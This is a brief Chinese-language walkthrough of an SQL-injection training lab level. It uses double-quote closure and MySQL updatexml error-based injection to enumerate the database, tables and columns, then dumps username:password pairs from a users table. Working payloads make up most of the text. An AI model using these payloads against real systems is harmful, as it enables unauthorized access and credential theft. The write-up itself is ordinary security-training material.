其实这关大部分和less-5差不多,都考察的报错注入
老样子,提交id观察反应
这里的回显和第五关类似。我们先尝试对前面的语句进行闭合
当id=1'"时候,语句出现报错,判断是双引号闭合。构造回显位查询语句
?id=1" order by 4--+
当回显位等于4时,语句报错,说明回显位为3.
先尝试进行联合注入
?id=1" union select 1,2,3--+
没有回显,说明对回显进行的处理,需要使用报错注入。构造查询语句
?id=1" and updatexml(1,concat('~',database()),1)--+
报错注入成功,得到库名为security
从第一行开始查询表名
?id=1" and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)--+
查到第3行时,发现表users
得到表名users,构建语句查询字段
?id=1" and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)),1)--+
当limit 1,1和limit2,1时,分别得到username和password
于是构建语句依次查询2个字段下的数据
?id=1" and updatexml(1,concat('~',(select concat(username,':',password) from users limit 0,1)),1)--+
由此类推,可以得到剩余字段。此题结束